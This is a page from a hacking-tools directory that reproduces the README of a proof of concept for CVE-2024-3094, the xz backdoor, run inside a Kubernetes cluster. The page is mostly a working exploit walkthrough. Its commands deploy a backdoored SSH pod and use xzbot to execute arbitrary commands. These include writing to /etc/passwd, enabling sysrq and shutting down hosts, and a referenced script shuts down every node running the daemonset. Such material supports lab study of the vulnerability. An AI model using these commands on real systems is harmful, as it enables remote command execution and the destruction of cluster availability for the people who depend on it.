Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-3094 — Basic POC to test CVE-2024-3094 vulnerability inside K8s cluster | Kitploit
Tools/GitHubGitHub/shefirot/cve-2024-3094
Vulnerability AnalysisExploitationPenetration TestingCloud SecurityLearning & EducationContainer Escape
GitHubshefirot/cve-2024-3094

CVE-2024-3094

Basic POC to test CVE-2024-3094 vulnerability inside K8s cluster

View Repository
62 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-3094

Basic POC to test CVE-2024-3094 vulnerability inside K8s cluster

❗ DISCLAIMER ❗

USE ONLY FOR EDUCATIONAL PURPOSES THE AUTHOR IS NOT RESPONSIBLE FOR ANY DAMAGE CAUSED BY THE USE OF THIS SOFTWARE

Description

We will deploy a vulnerable pod and exploit it to execute commands inside that vulnerable pods, we do inside the same network for security reasons. We don't expossed the vulnerable pod to the internet, but is the same concept.

That vulnerability allows to execute commands inside the pod, even if the pod is running whit security context, you can for ex shutdown the host that is running the pod.

If that vulnerability is running in a single pod, you can shutdown the host, making temporal unavailable all the services running in that host. But, if the vulnerability is running as a deamonset, you can shutdown all the hosts that are running that deamonset, even shutdown the whole cluster.

Requirements

  • K8s cluster deployed
  • Kubectl installed
  • Access to the K8s cluster
  • Go installed

Usage

First, install xzbots in the cluster

root@kitploit:~
go install github.com/amlweems/xzbot@latest
Download Tool

Download the repo and deploy the vulnerable deployment/daemonset

root@kitploit:~
git clone https://github.com/shefirot/CVE-2024-3094.git
cd CVE-2024-3094
# Deployment
kubectl apply -f deploy_cve-2024-3094.yml
# Or daemonset
kubectl apply -f daemonset_cve-2024-3094.yml
root@kitploit:~
# Get the pod name
kubectl -n vulnes get pods

# Port forward the pod
kubectl -n vulnes port-forward <pod-name> 2225:22

# Execute command, for example write in /etc/passwd
$HOME/go/bin/xzbot -addr 127.0.0.1:2225 -cmd 'echo "David estuvo aqui" >> /etc/passwd'

# Check the /etc/passwd file
kubectl -n vulnes exec <pod-name> -- /usr/bin/cat /etc/passwd

Go forward and shutdown the host

root@kitploit:~
# Enable sysrq
$HOME/go/bin/xzbot -addr 127.0.0.1:2225 -cmd 'echo 1 > /proc/sys/kernel/sysrq'

# Shutdown the host
$HOME/go/bin/xzbot -addr 127.0.0.1:2225 -cmd 'echo o > /proc/sysrq-trigger'

You can also shutdown all the hosts that are running the daemonset

root@kitploit:~
source shutdown_nodes.sh

Known issues

1. Connection refused

When you execute the loop to shutdown all the hosts, if you receive this error:

root@kitploit:~
2024/06/11 12:08:58 dial tcp 127.0.0.1:2225: connect: connection refused

Give more time to the port forward to be ready, you can increase the sleep time in the loop.

Extra info

The container image ussed was generated whit the dockerfile in the repo, you can generate the image and push it to your registry.

To generate liblzma.so.5.6.0.patch library, you can use the following the amlweems repo that is in the references.

References

amlweems repo

r0binak repo